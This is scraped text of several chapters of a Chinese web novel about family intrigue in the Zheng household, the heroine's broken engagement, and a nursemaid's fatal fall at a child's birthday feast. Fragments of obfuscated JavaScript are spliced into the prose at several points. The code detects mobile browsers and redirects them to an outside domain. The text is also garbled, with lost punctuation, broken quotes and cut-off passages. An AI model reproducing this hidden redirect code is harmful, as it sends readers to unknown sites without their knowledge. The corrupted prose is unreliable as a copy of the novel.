叶绯霜眨了眨眼,倒是觉得这是意外之喜。 她之前只想着和宁衡交个朋友,就能求他去护着清溪了。 要是能给堂堂璐王世子当师傅,这身份岂不是更好用了? 郑茜静也很有眼色地出去了,房间里只剩下了叶绯霜和陈宴。 陈宴问:“好些了吗? “好多了。 其实不太好,因为她在梦里又回到了悲惨的前世,把那些痛苦又经历了一遍,搞得她身心俱疲,脑袋也涨涨的。 尤其梦里的陈宴还是个混账,竟然还和她争论,还对自己做过的事死不承认! 叶绯霜晃了晃头。陈宴上前一步,手掌抚上她的后脑。 叶绯霜激灵了一下,浑身僵住,眼睛里满是戒备。 陈宴的手掌扣着她的后脑,拇指在她的太阳穴上轻柔又力道适中地揉按起来。 他把她的紧绷和防备看在眼里,却更加往前,腿贴住床沿,几乎和她挨到了一起。 叶绯霜的鼻尖蹭到他的衣袍,寸尺寸金的流云锦丝滑如冰。 雪中春信的香气萦绕在鼻端,将她包裹起来。 叶绯霜扣住他的手腕,想将他的手拿开:“可以了,陈公子。 陈宴并没有放手,反而手腕一用力,捏着她的后脖颈迫使她扬起头来,自己则俯下身,两人间的距离只剩寸余,呼吸都交织在了一起。 “叶绯霜,你今天必须把话给我说清楚,明明白白给我个理由。 第138章 支楞起来 一行人在郑府门口迎接他们回来。 叶绯霜刚扶着靳氏下了马车,便听见一叠声的殷勤娇笑:“老爷一路辛苦啦!茶点都备好了,老爷快回来歇歇吧!” 转头一看,果然是二姨娘秋扇。 她穿金戴银,光彩夺目,把旁边的五夫人康氏衬得灰头土脸。 秋扇瞧见叶绯霜时,愣了一下。 她怎么全须全尾地回来了?哥哥不是已经雇了镖局的人,要把她抓住杀掉吗? 是哥哥没有找到下手的机会,还是计划失败了? 秋扇见叶绯霜神色如常,觉得哥哥应该还没下手,而不是计划失败了。 那就好,秋扇暗自松了口气,这次没暴露就好,以后再找机会下手就是了。 郑丰和秋扇说了两句话,就亲昵地搂着他过年刚纳的十七姨娘走了。 秋扇转而对靳氏笑道:“四夫人,四房可有喜事啦!” 靳氏和秋扇实在不熟,对这过分热络的笑容有些不适,僵硬问道:“什么喜事?” “四老爷把妙儿收房了!” 这话一出,不光靳氏惊呆了,后边的一众仆人也震惊了。 男仆们想:真羡慕四老爷,去年开始日子好了,身子骨也好了,这就纳上妾了。 女仆们想:唉,男人就这德行。之前病了好些年,都是四夫人尽心尽力地照顾着。结果这才刚好,扭头就纳妾了,四夫人真可怜。 秋扇亲**握住靳氏的手:“妙儿人如其名,真是个妙人。长得好,性子更好。以后她就是四房的人了,定会好好伺候四老爷和四夫人。要是她犯了错,您也别客气,教训她就是了。” 靳氏反应过来后,顿时红了眼眶。 她的手和秋扇的手握在一起,差别是那么的明显。 秋扇十指纤纤,肤如凝脂。 她的手粗糙黑黄,十根手指因为常年在冷水中浸泡,生了冻疮,一到冬天就肿得像萝卜。 手如此,脸更是。她三十多岁,却比四五十岁的妇人还憔悴。 富贵日子和贫苦日子是不一样的。贫苦的时候,许多夫妻只有彼此,日子好了,有的多了,有多少人能抵住诱惑呢? 有几个人能不嫌弃糟糠之妻呢? 叶绯霜把靳氏的手从秋 扇手里拽了出来。 她握着母亲粗糙的手,把自己掌心的热度传递给她,给她支撑。 她轻声说:“爹爹不会的,娘亲要相信爹爹。 靳氏生生忍住了,没有让眼泪掉出来,不至于在下人面前失态。 但她确实是怕的,没有自信,内心不安得厉害。 当初秦氏被硬塞进四房,给她造成的阴影太大了。 见娘亲这么难受,叶绯霜很想把秋扇那张笑脸给抓烂。 娘亲和爹爹的日子才好起来,这些东西就给他们找不痛快。 秋扇一路跟着往四房去,不停地夸妙儿有多好。 叶绯霜道:“既然这么好,为何姨娘不把她给了五叔呢? “她不是五老爷喜欢的那种。 叶绯霜嗤笑:“这样啊,我还以为姨娘怕妙儿分您的宠,才不敢给五叔呢。 秋扇被戳破,顿时尴尬,讪笑道:“五姑娘开玩笑了,咱们可没那心思。 叶绯霜直来直去:“也是,五叔有那么多姨娘,秋姨娘又能分到多少宠爱呢?妙儿想分怕是都没得分。 小桃:“噗。 还有几个丫鬟想笑但是不敢,立刻垂头忍着。 秋扇一张脸异彩纷呈,好心情顿时没了大半。 但她还是撑着灿烂的笑容,颇为得意地说:“我宠爱多少不要紧,起码我有十一少爷,老爷最疼十一少爷了。 秋扇的儿子就是她最大的底气。 毕竟那是五房现在唯一的男丁。 叶绯霜也笑道:“是呀,十一弟可是个大宝贝,秋姨娘务必要把他照顾好了。 终于到了玉琅阁。 这是秋扇第一次来。 一进门,她的眼珠子就差点掉下来。 这这这,这也太富丽了! 都说他们五房是郑府最富的一房,但是秋扇觉得自己的院子和玉琅阁比起来,简直就和贫民窟没什么两样! 顿时又酸又妒,甚至嫉妒起妙儿来,以后可以有这么好的房子住。 看来四房比她想象中还要有钱,她以后得和妙儿合计合计,该怎么把四房的财产抢过来。 过了前院,便见郑涟正坐在院中晒太阳。 叶绯霜叫了声:“爹爹 !” 郑涟笑道:“回来啦?” 他看向妻子靳氏朝他行了个礼就站在原地没动了。 要是以往她早就迫不及待地走到自己身边嘘寒问暖了。 唉这是不相信他生气了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115863|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “四老爷吉祥!”秋扇热络地笑道“以后妙儿就是四房的人了我来送妙儿的身契。” 秋扇的丫鬟立刻从袖中拿出一张纸递给郑涟。 郑涟没接。 他说:“你来得正好把人带回去吧。” 秋扇立刻道:“那哪儿行呢?府里都知道妙儿已经是四老爷的人了!四老爷心善留下她吧毕竟伺候四老爷一场……” 郑涟摆了摆手两个婆子会意抬了一卷席子过来。 席子旁边垂下一只胳膊毫无血色透露着**的苍白。 细瘦的手腕上还挂着一只金镯子秋扇记得 秋扇一张脸瞬间血色尽褪:“四老爷这……” 郑涟缓缓道:“这丫鬟擅闯四房居心不良。我按照规矩罚她在院中跪了一夜她没挺住去了。” 靳氏不可置信地看向郑涟她从未想过窝囊老实的郑涟也会罚人。 叶绯霜则想的是爹娘不再逆来顺受他们会反抗了真好。 不破不立。去年鼎福居那场争端让爹娘在鬼门关走了一圈也彻底击碎了他们的软弱。 郑涟处理妙儿就是为了彰显一个态度:他不纳妾有歪心思的都省省谁也别想扰了四房的日子。 靳氏一直忍着的眼泪终于掉了下来。她立刻走到郑涟身边欲言又止地看着他。 “秋姨娘你御下不严自己去三嫂那里领罚。”郑涟说“五房的都出去吧。” 秋扇浑浑噩噩地离开了玉琅阁。 一回到自家的院子她忙道:“快快把哥哥叫来我有话问他!” 丫鬟很快回来说:“没找着福泰管事。” 秋扇哪里知道福泰被叶绯霜留在了颍川好让成国公府的人发落。 她只当福泰**病犯了又去滥赌了。 “真是这臭毛病迟早害死他!”秋扇嘟囔。 “姨娘您真要去三夫人那儿领罚吗?”丫鬟问。 “不去去什么去!”秋扇翻了个白眼“妙儿自己想攀高枝被四老爷处罚了关我什么事?还说我御下不严我忙着照顾十一少爷有疏忽不也难免?” 也不怪秋扇嚣张贪婪胃口大谁让她的孩子是郑丰现在唯一的儿子呢? 郑丰妻妾众多但她们生的都是女儿。康氏倒是生过一个儿子但那孩子很小的时候就没了。 她儿子现在可是五房唯一的香火。 她有这么个宝贝那五姑娘今日还敢阴阳她不受宠哼她记住了。 第140章 挑拨离间 玉琅阁的温泉池子十分养人。 叶绯霜隔几日就会进去泡一会儿,舒缓筋骨。 小桃趴在池边和叶绯霜闲话:“我今儿去梅园看了看,那边忙得热火朝天的,姑娘你说到底是啥人要来咱们府上养病啊?竟然还要单独建一个院子出来。” 叶绯霜眨巴眨巴眼睛,她也不知道啊。 因为前世根本就没这回事。 落梅小筑就挨着梅林,要是新建院子,她不可能听不到。 这一世和前世又不一样。 小桃又问:“姑娘,秋姨娘会被福泰管事牵连吗?” 叶绯霜很笃定:“不会。” 小桃嘟囔:“我感觉那秋姨娘不是个好的。竟然还想给咱们老爷塞人,手伸得也太长了吧!” “人善被人欺啊,谁让爹娘太老实了呢。”叶绯霜感叹,“四房现在就是个香饽饽,眼红的人多了去了。” 小桃愤愤:“福泰管事雇佣歹人对咱们下手,我就不信这事秋姨娘不知道!” “感觉没用,得讲证据。即便真和秋姨娘有关,福泰也不会供出她的,还会撇得干干净净。” “不是说他们那种赌徒都见钱眼开吗?要是咱们给福泰银子,让他说实话,行不行?” “这法子你家姑娘我已经试过了,没用,福泰的嘴很严。” 小桃:“唉。” “他知道自己不中用了,怎么说都得保住秋姨娘,给家里留个指望。具体来说,他的指望是十一少爷。” 要是郑丰将来没有别的儿子,那么继承五房财产的就是十一少爷,秋姨娘一家子日子差不了。 要是秋姨娘倒了,十一少爷给别人养了,叫了别人娘,那还有秋姨娘一家子啥事? 福泰跟着郑丰做了这么多年生意,最会盘算了。 果然,事情如叶绯霜所料,福泰把事情全都揽在了自己身上。 说他欠了赌坊一大笔银子,妹妹秋姨娘已经不给他钱了,他没法,便想绑了叶绯霜好和四房勒索一笔银子,不曾想错绑成了郑茜静。 秋姨娘表演了一出大义灭亲,一会儿大骂哥哥糊涂,一会儿哭嚷着说自己也没脸活着了,一会儿又向郑丰表忠心,说福泰做的事她半分都不知情。 “早知他为了银 子会干出这种恶事,我便是砸锅卖铁,也给他把银子凑出来!秋姨娘哭得撕心裂肺,“我想着不给他银子,他便能戒了赌,谁知却把他逼上了死路! 秋姨娘还特意让丫鬟把儿子抱了过来。她哭,孩子也跟着哭,厅中聒噪又凄惨。 郑丰本来对秋姨娘窝了一肚子火,但是见到儿子,火气也没发出来。 “你一个内宅妇人,哪儿知道你哥哥那些勾当?郑丰说,“行了行了,没人怪你,快别哭了。 秋姨娘啜泣着问:“哥哥他…… “**,大少爷处置的。 秋姨娘急怒攻心,晕了过去。 在外头这两年,秋姨娘见不着爹娘,但偶尔可以见到福泰,兄妹自然很亲近。 秋姨娘伤心得病了一场。 傅湘语来探望秋姨娘。 当然,她穿着丫鬟的衣裳,夜里悄悄来的。 秋姨娘很惊讶:“傅姑娘,您怎么来了? 傅湘语满脸担忧:“我担心你啊。还记得我刚来郑府时,你还在鼎福居伺候外祖母,经常照顾我呢。 秋姨娘动容地说:“这么些年了,傅姑娘还记得。 傅湘语叹息:“那时我便知道你是个好的,有你这样的妹妹,你哥哥必然也差不到哪里去。不过是一时犯了糊涂,以后改了就好了,谁知叶绯霜却非要…… 傅湘语捂住嘴,“呀了一声:“瞧我胡说什么。 秋姨娘忙问:“五姑娘做了什么?傅姑娘,您是不是知道什么隐情?可要告诉我啊! 傅湘语很为难:“我…… 秋姨娘跪下央求:“傅姑娘,我不能让哥哥死得不明不白啊! “你何必这样……唉,别哭了,我实话和你说吧。傅湘语道,“在颍川的时候,我偷偷听见叶绯霜跟她的随从说,她已经知道了你哥哥要对她下手,于是要反过头来对付你哥哥。所以故意让二姑娘被抓走,让你哥哥闯下了大祸。 秋姨娘愣住:“她早就知道了?她是故意的? “不然怎么会抓错人呢?她和二姑娘模样差别那么大!肯定是故意设 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“好了,时辰不早了,我也该走了。姨娘,你好好养身子,可别垮了,否则也只是亲者痛仇者快。” 傅湘语回了鼎福居,郑老太太还没睡。 “她可把话都听进去了?”郑老太太问。 “听进去了。”傅湘语点头,又犹疑地说,“但秋姨娘……本就不算个多聪慧的人,只怕她有心无能。” “无妨。下次她来鼎福居请安,我会让罗妈妈指点她。” 傅湘语瞬间喜笑颜开:“这就好了。” 傅湘语并不认为叶绯霜有多聪明。要是玩计谋,她一个小丫头片子绝对玩不过外祖母、罗妈妈这些老人精。 她能活到现在,原因很简单——她很能打。 去年,鼎福居那次,四房本是必死的局,是她靠一身蛮力,拖出了生机。 又恰巧撞上了族里来处理外祖母和双生子的事,让她捡了便宜。 不过就是运气好罢了。 傅湘语就不信了,她还能次次运气都那么好? 第141章 为何不要 二月十八,郑府很热闹。 因为五房的独苗,十一少爷郑文宝,过周岁了。 郑丰高兴得不得了,为儿子大肆操办,宴请了许多宾客。 荥阳的官员、富商都给郑丰面子,来了许多。 五房的院子放不下这么些人,所以宴会就在园子里举办了。 叶绯霜和郑涟、靳氏一起过去。 郑丰正在和宾客们说话,说起儿子时满面慈爱,说起瘫痪的母亲时哀戚哽咽,慈父孝子两手抓。 叶绯霜给郑丰请安,不少宾客都打量她:“这位便是郑五姑娘?和陈三郎有婚约的那位?” 叶绯霜:唉。 旁的姑娘和人打招呼,得到的都是诸如“相貌妍好”“聪明伶俐”“知书达理”这类称赞。 她得到的只有一句——和陈三郎有婚约的那个? 她本身的一切特质,都要被“陈宴未婚妻”这个名号压住。 搞得好像离了陈宴她这个人就不存在了似的。 希望陈老爷子赶紧办完事回颍川去,把退婚书和信物一起送回来,她就能彻底摆脱这个名号了。 身后传来一个轻轻的声音:“五妹妹,你来和我们坐吧。” 回头一看,是她的四姐姐郑茜霞。 这段时间,叶绯霜和郑茜霞见面并不多。 就是过年的时候在家宴上见了几次,之后她便去了一趟颍川,回来后又偶遇了几次。 叶绯霜知道,郑茜霞是故意和她偶遇的。 郑茜霞在像前世巴结郑茜媛那样,巴结她。 但叶绯霜实在对她热络不起来。 其实要说起来,郑茜霞也是个可怜人。 她生母是郑丰的七姨娘,原是一个戏曲班子里的旦角,有一把灵鸟似的嗓子,这才被郑丰瞧上了。 有了身孕后,被郑丰接进府里,成了姨娘。 可是没多久,她的嗓子就倒了。 有人说是康氏害的,有人说是秋扇害的……到底是谁也没弄清楚,没人关心。 没了嗓子,但若能生下个儿子,后半辈子倒也有指望。 但是生出来的是郑茜霞这个姑娘,七姨娘彻底失了宠。 失宠后的日子不好过,七姨娘的性子变得阴戾暴躁,把她 的所有苦难都怪在了郑茜霞身上。 七姨娘说要是肚子里没她,她就不会进郑府,还好好地当她的角儿。 骂她为什么不是个儿子,连家业都继承不了。 又骂她是个废物,连父亲的欢心都讨不到。 郑茜霞便是在这样的环境中长大的,她活得小心翼翼,性子自卑敏感。 据说,今年过年回来后,七姨娘听说了四房的事,又把郑茜霞打了一通。 怪郑茜霞没叶绯霜能干,叶绯霜能把四房扶起来,她为何不能把自己扶起来。 其实半个月前,就是郑茜霞的生辰。 而且是她人生中最重要的一个生辰——她的及笄礼。 但根本没人在意这事,郑丰就不提了,他肯定不记得。 七姨娘也没说。 还是五夫人康氏想起来有这么回事,给郑茜霞办了个宴。 冠服钗环都不是做的,是临时从外边买的,请了卢氏来做笄者,勉强也把这及笄礼过去了。 但和现在郑文宝的周岁宴比起来,实在是太寒酸了。 叶绯霜跟着郑茜霞坐到了姑娘们的那一桌。 郑茜霞见叶绯霜理自己了,还挺高兴。 急忙斟了杯茶说:“五妹妹,这是南洋那边来的红茶,你尝尝。 叶绯霜刚端起杯子,便听傅湘语道:“五姑娘这么能干,什么好东西没见过?四姑娘你这般殷勤,人家未必领呢。 郑茜霞顿觉尴尬,脸一下子就红了。 “那我肯定没傅姐姐能干的。叶绯霜笑道,“听说府里在给傅姐姐议亲了,要我说也不用费这功夫,晟王府就挺好的。 傅湘语被刺了,但并不太难受。 因为她最近的心情实在是太好了。 她听说叶绯霜和陈宴的婚约就要解除了,退婚书已经送出去了。 看来流言到底还是影响了她,陈家不认这门婚了。 自己是不好过,但一想到叶绯霜也不好过,傅湘语就平衡了许多。 “我入不入晟王府还是一说,反正五姑娘是绝对入不了陈府了。傅湘语悠悠道,“真是难为五姑娘了,过去两年那么巴着陈三郎不放,可到头人家还是不认你。 傅湘语就没见过比叶绯霜更没 用的女人。 有婚约,还有一张据说肖像陈宴心上人的脸,竟然还能把婚事丢了。 这么好的牌,能打得这么稀烂,真是绝了。 她本身到底是有多差劲啊? 叶绯霜满面真诚地看着傅湘语:“多谢傅姐姐的祝福,真希望我的婚能平安顺利地退了。” 傅湘语:“……” 叶绯霜莫不 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旁的姑娘十三四就要开始议亲了,她都及笄了,亲事还没个着落。 要想嫁得好,得有一位体面的夫人帮她上心的。 五夫人是指望不上了,她都被秋姨娘压得自顾不暇了,况且她也不认识什么官宦人家的夫人。 三伯母她不敢去问,她怕三伯母,觉得她太严厉了。 相比之下,还是四伯母随和多了。 其实她要的不多,她就是想有人替自己的终身大事操操心,别随便把她配了人,让她孤苦无依。 忽听郑茜霞“呀”了一声,叶绯霜回头一看—— 来了几位光彩夺目的年轻郎君。 她的目光划过几个熟人,落在他们身侧那个年长了不少、气质华贵的生人身上。 叶绯霜猜到了他是谁。 前世今生,这还是她第一次见这位大哥。 郑茜霞和叶绯霜垂首行礼:“大哥。” 郑文煊走到叶绯霜跟前:“你就是我五妹妹吧。” 叶绯霜:嚯。 她这大哥哥竟有这么好的一把嗓子。嗓音温沉,重而**,像一坛上好的陈酿。 “是。” 郑文煊微微弯腰,隐带笑意地说:“我以为清言要和你退婚,把他训了一顿。结果他很冤枉地说是你不要他的,我能问问原因吗?你为何不要他?” 第142章 她是替身? 一旁的郑茜霞都惊呆了。 她怀疑自己耳朵坏掉了,不然怎么会听到这么离谱的话? 是五妹妹把陈家的婚约退掉的? 是她不要陈三郎的?! 叶绯霜说:“大哥,我和陈三郎不般配,解除了婚约对我们都好。” “是不是有人和你说什么了?”郑文煊问,“莫听那些人乱嚼舌根,清言说,他从未觉得你不好。” “但不合适就是不合适。”叶绯霜抬眼看向郑文煊,“大哥觉得我们般配吗?” 少女面若芙蕖,眸如繁星,望向自己的目光坦荡又澄澈。 家书里描写五妹妹的那一个个文字,汇聚成了面前鲜活的姑娘。 郑文煊对她的第一印象就是——灵。 不是深宅大院靠诗书和礼仪养出来的灵气,而是她本身带有的,一种蓬勃的生命力。 她像一朵刚刚绽放的花,被不知道哪里的风吹来了这高墙之中。 但她不会在这里扎根,她会被吹往下一个地方,在清风朗月和山河湖海的滋养中继续生长、盛开。 家书里,郑茜静说自己学会了骑马、打弹弓、摘果子、放风筝。 说以前走个百儿八十步就喘得厉害,现在她可以上街连歇带逛玩上一个时辰,还能去参加驱傩活动和花灯巡游。 她在家书里写:活着真好玩,我不想**。 是的,郑茜静因为自己的病,不止一次寻死。 她甚至怨过家里,为什么要给她治,让她这些年都这么痛苦、这么难熬。 让她一死百了不好吗? 这次遭遇意外,性命攸关,大夫说她的求生意志很强,所以她挺了过来。 因为她从她的五妹妹身上汲取到了生机和活力。 郑文煊看着叶绯霜的目光透露出一种温柔的慈爱,微微一笑:“静娘说你是个非常有主意的人,大哥尊重你的选择。” 是了,这样的小姑娘,怎么适合去做陈家的宗妇呢? 让她每天操持大家族的繁杂事务,周旋于贵妇们的花卉宴饮,食不言寝不语,走路时步摇都不能晃? 的确太不适合了。 叶绯霜也笑了:“多谢大哥的理解。” 她还以为郑文煊想劝她嫁给陈宴呢。 毕竟姻亲是世家大族维持盘根错节的关系里最重要的一环。 陈宴迟早会出仕有他做妹夫对郑文煊的仕途也有很大的帮助。 郑文煊轻轻摸了摸叶绯霜的发顶然后招呼着后边几位年轻的郎君走了。 郑茜霞老半晌才找回自己的声音:“五妹妹你真不要陈三郎啊?你……你是怎么想的?” 这婚约要是给了她她不知道要给菩萨烧多少高香。 五妹妹竟然不要。 叶绯霜叹气:“看傅姐姐对我的态度就知道了。当陈三郎的未婚妻要面临的压力太大了。” 郑茜霞小声道:“你别管她们怎么说你有婚约你就是正牌。” 叶绯霜没再多言。 郑茜霞的丫鬟来叫她回去。 她对叶绯霜说:“五妹妹你最好不要走太远一会儿弟弟就要抓周了。” “好。” 这里离梅林不远叶绯霜过去看了看。 高墙已经筑了起来一眼望不到头可见这新建的院子有多大。 要来的贵人还真是一尊大佛小院放不下。 梅林旁边是一片梨园以前夏秋时节郑老太太和卢氏会在这里听戏。 梨花因为地热已经浩然绽放经过一棵梨树时雪白的梨花扑簌而落像下了一场雪。 叶绯霜一回身看见了倚树而立的人。 少年修长的指尖举着几根梨枝挡在脸前。 叶绯霜被他这欲盖弥彰的动作给逗乐了:“你怎么在这里?” 萧序挪开梨枝露出那张色盛春花的脸:“阿姐!” 他今日没有穿劲装而是和叶绯霜第一次遇见他时一样广袖博带舒朗高贵。 “我呀……”他懒洋洋地说“我来监工我的院子呀省得他们给我偷工减料到时候让我住得不舒服。” 叶绯霜微惊:“要来郑府养病的人是你?” 萧序得意一笑:“是呀没想到吧?” 的确没想到。 萧序开心地说:“等我搬来郑府 他听说过去这两年陈宴经常来找他阿姐。 可恶他病了一场竟然就让陈宴那狗东西钻 了空子。 不要脸!等他搬来就好好守在他阿姐身边陈宴再敢靠近他就取他狗命! 叶绯霜又闻到了萧序身上淡淡的药香。 “你的身体到底怎么不好?”她问。 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萧序的阿姐同时也是陈宴的心上人就是一位叫霏霏的姑娘。 娘的她总算知道前世陈宴对她的恨意是哪里来的了。 合着他的爱与恨该给的都是那位霏霏姑娘结果他把人都杀了还不解气。于是把和霏霏姑娘长得很像的自己当成了那个霏霏姑娘继续折磨报复。 还给她取了相同的小字莫非这样能让他报复的时候代入感更强一点? 服了她真倒霉她招谁惹谁了? 叶绯霜严肃地看向萧序:“我拒绝霏霏姑娘这个称呼。” 萧序顿时伤心了:“为什么呀?” “因为这会让我想起一些不好的事情。” 萧序一双漂亮的眼睛微微瞪大写满了不可置信。 “阿姐你想起来了?” 叶绯霜:“?我就一直没忘。” “不可能。”萧序失落地说“你要是没忘你怎么会不认我呢?” 叶绯霜:“……” 傻孩子又错乱了是吧? 你真阿姐已经**她这个赝品怎么认啊? 第143章 出人命了 此时的园子里,热闹无比。 喝酒的喝酒,听曲的听曲,还有一些比较风雅的已经开始吟诗作对了。 秋姨娘打扮像个首饰匣子,那高耸的追云髻上被各种发饰插得满满当当,都快看不着黑发了。 身为十一少爷的生母,她今儿可是主角,出尽了风头。 一些正头夫人看不上她这做派,翻着白眼对康氏说:“十一郎以后要叫也是叫你母亲,她就是个姨娘,你也不压压她?” 康氏苦笑一下:“五房好不容易有个少爷,我们老爷欢喜得和什么似的,我哪儿压得住她啊?” 有些夫人心中不屑,想着果然是士农工商里最低的一层,规矩都不讲了,这内宅都乱成啥了。 郑丰一个满是铜臭味的商人,油腻好色,真是让人看不上。 要不是他姓郑,她们才不会来他儿子的周岁宴,没的失了身份。 另外一位夫人问康氏:“这秋姨娘之前那么些年都没有消息,怎的年纪不小了,倒生出儿子来了?” 于是不少夫人偷偷把耳朵竖了起来,想取取经。 在她们这样的大家族里,儿子自然越多越好。要都是从自己肚子里出来的,那就更好了。 康氏倒也不藏私,叹息着说:“这些年为了生儿子,我和我们老爷见庙就拜,送子观音都不知道请了多少尊。直到去了廉州,那儿有个尼姑庵,叫白溪寺,据说求子很灵验。” 有人迫不及待地问:“你家十一郎便是这白溪寺求来的?” 康氏点头:“是。” “怎么个求法?就是烧香拜佛?” “这倒不是。”康氏道,“白溪寺的姑子们会来家里,开坛做法,说是能请送子观音到家里来。听当地人说,真的很神。许多请过姑子们做法的人家都求到了子,而且十有**是儿子。” 夫人们面面相觑,都从彼此眼中看到了惊讶。 “真这般灵吗?” “莫非她们真能请来送子观音?” “咦,你们说请那些姑子来荥阳给咱们做做法,行不行啊?” “不行吧,廉州离咱们这儿太远了。而且人家肯定不缺香火,本地人都求不过来,人家哪儿有时间来咱们这儿呢。” “多给她们银子不就行 了? 康氏犹豫着说:“她们倒是愿意来的。 “真的? 康氏讪笑一下,有些尴尬地说:“我家老爷还想求一求,想多要几个儿子,已经和白溪寺的姑子们说好了,今年就请她们过来。 一位夫人急忙挤到康氏身边,亲**说:“好姐姐,可求求了,到时候让她们去我们家做做法,我这都仨姑娘了。 “还有我还有我,我都成亲两年多了还没消息,那些催孕的苦汤药我是一点儿都喝不下去了。 “我也要给我妹妹求一求。 一时间,康氏这桌无比热闹。 秋扇咬了咬牙,暗想康氏这个老妇真是不消停,看着老实巴交的,不也想着法儿的出风头呢? 她顿时高声道:“吉时要到了,快把十一少爷抱出来,该抓周了! 许多爱看热闹的人挤进了亭子里,想看看这位十一少爷能抓到什么。 才一岁的幼童胖嘟嘟的,看着十分讨喜。 宾客们嘴甜,各种天花乱坠的溢美之词都出来了,把郑丰哄得快找不着北了。 郑茜霞沉默地看着。 弟弟只有一岁,什么都不认识,但那些人都奉上了丰厚的贺礼。 连话都听不懂,那些人却紧着好听地说。 他花团锦簇、万众瞩目,只因为他是个男孩。 都是爹娘生养的,凭什么男孩和女孩的差别就这么大? 凭什么男孩子天生被视为家业的继承者,女孩子就不行吗?女孩子不要活着吗?女孩子不需要银钱傍身吗? 女孩子不可以学习经营之道,撑起一份家业吗? 为什么男孩子可以科考,可以武考,可以经商,而女孩子就只要嫁人呢? 郑茜霞又想到了她听到的关于五妹妹的事迹。 她一开始从祖母手里要了两个铺子管着,现在又接了四房的财产。她经常上街,各个铺子去看,亲手管理自己的财产。 她还退掉了和陈三郎的婚约。 她好像在走一条和普通女子截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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竟是奶娘抱着郑文宝,从楼上坠了下来! 秋姨娘撕心裂肺地喊了一声“宝哥儿,拔腿朝揽月楼跑去。 “砰 被她抱在怀里的郑文宝也没有任何动静。 不知道谁喊了一声“出人命了,宛如水入油锅,整个园子在短暂的鸦雀无声后,霎时间沸腾了。 第144章 你看这锅 另外一边,萧序的状态不是很好。 他的脸色变得愈发苍白,在阳光的照耀下宛如透明。 额头上沁出一层薄汗,撑着树干的手臂青筋绽起。 “你又不舒服了?”叶绯霜忙问。 萧序现在的样子让叶绯霜想到了第一次见他的时候。 萧序往前一靠,额头掸在了手背上,因为咬紧了牙关,下颌绷出了一条锋锐的线。 有汗珠从耳畔流下,隐入了衣领中。 他浑身肌肉紧绷,仿佛在用尽全身力气对抗体内的痛苦。 “你这该怎么办?”叶绯霜抬了抬手,也不敢碰他,“是要吃药,还是怎么样?” “阿姐,你走吧,不用管我。”萧序咬紧牙关,声音像是从喉咙里生生挤出来的。 叶绯霜哪儿能走呢。 在大街上看见一个陌生人不舒服都要过去问两句呢,更何况还是认识的人。 “我能帮你做什么吗?需要帮你找药吗?” “阿姐,你走。”萧序侧头看向她,眼睫被汗水打湿,像是落了泪,“走!” 他眼尾通红,视线因为巨大的痛苦变得迷离,有种惹人心疼的脆弱。 他难受得厉害,支撑不住身体,叶绯霜急忙扶了他一把。 旁边传来喊声:“公子!” 一看,是两个随从打扮的年轻男子从东侧小径跑了过来。 他们并不慌乱,从叶绯霜手中接过萧序,其中一个拿出瓷瓶,从里边倒出几粒药给萧序喂下。 然后扶着他迅速离开。 叶绯霜看得很清楚,萧序刚刚吃的药,和在颍川时让她喂给郑茜静的药是一样的。 那是什么药? 是可以医百病的仙丹? 还是说萧序和郑茜静的病症是一样的? 叶绯霜一边往回走,一边想,郑茜静的病是胎里带来的弱症,一出生就有了。 萧序也是天生身体不好? 那他后天养得还是比郑茜静好了许多的。 萧序被带去了宁国寺,找他师父逸真大师。 逸真大师显然也对他这个样子**以为常了,叹了口气,骂他:“逆徒!说什么你都不听,看你这条命够你怎么作的。” 骂归骂,但到 底还是心疼徒弟的该施针施针该喂药喂药。 萧序很快就醒了过来。 痛苦的余韵还在他浑身上下的经脉都被撕扯着无一处不痛。 但他已经习惯了这样的痛苦。 看见床畔的人他的唇角勾起一个淡淡的弧度:“师父。” 逸真大师闭目不看他一味转着手中的佛珠絮絮道:“为师不指望你多孝顺只盼着你以后出去别说是我徒弟便好了。世人都传我医术高超却无人知我有你这么个随时都会一命呜呼的徒弟没的砸我招牌。” 萧序撑着身体坐起来逸真大师给他扔了个引枕。 “师父我关于阿姐的记忆越来越少了。”萧序轻声说“过年见她时我还能记得是她教我那么吃面的。但是今天我想和她说一些关于我们的事情却什么都想不起来了。” 他有些茫然:“师父这样下去会不会有朝一日我连我有一个阿姐都要忘了?” 其实在意识到记忆会消退后他就开始把残存的记忆写下来。 他怕的是有朝一日他连本子上写的那些事是关于谁的都想不起来了。 逸真大师拿出一块灰色的布巾给他擦了擦额头上的汗叹息着说:“忘了也好啊忘了你就会好活很多。省得你想一次耗一次心力病一场。” “我才不要忘了阿姐。”萧序毫不犹豫“若是没了阿姐我也不要活了。” 逸真大师望着他良久不知道想到了什么无比沉重地叹了口气。 —— 好好的周岁宴竟然闹出了人命园子里乱成了一锅粥。 奶娘躺在血泊里身体抽搐了两下喃喃地说:“有人推推……” 她伤得太重一句话还没说完便气绝了。 府医赶了过来看过奶娘的情况后摇了摇头。 “先看看宝哥儿!”秋姨娘忙不迭地说嗓音剧烈颤抖“我们宝哥儿没摔坏吧?” 郑文宝正在撕心裂肺地哭嗓门嘹亮无比。 府医看过之后说:“十一少爷坠地时被奶娘举了起来没有受到冲击应当无碍不过还需观察几日。” 听到这话秋扇提着的心总算落回了远处。 她脱力般< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 